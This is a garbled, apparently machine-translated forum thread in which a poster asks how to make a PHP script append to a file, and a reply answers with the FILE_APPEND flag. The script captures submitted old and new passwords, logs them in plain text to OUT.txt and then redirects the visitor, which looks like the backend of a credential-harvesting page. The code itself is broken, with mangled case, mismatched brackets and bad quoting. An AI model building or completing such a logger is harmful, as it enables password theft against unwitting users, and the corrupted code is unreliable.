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This post was last edited by abu_sec on 2013-09-26 09:01:14

if (Isset ($_post[' oldpasswd ')) && isset ($_post[' Passwd ']) {      $OldPasswd = strip_tags ($_post[' oldpasswd ') );      $password = Strip_tags ($_post[' Passwd ');      $content = ' oldpasswd: '. $OLDPASSWD. '
Password: '. $password. '
Powerd by thank you ';     File_put_contents ("OUT.txt", $content);//what function allows the contents of the subsequent variable not to overwrite the previous content???  header (' Location:redirect.php ');   }? >

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File_put_contents ("OUT.txt", $content, file_append);//what function allows the contents of the subsequent variable not to overwrite the previous content???

File_put_contents ("OUT.txt", $content, File_append);

PHP's Library of functions is an advantage.

C + + words only the framework to this extent. Java is not very clear, should also be good.

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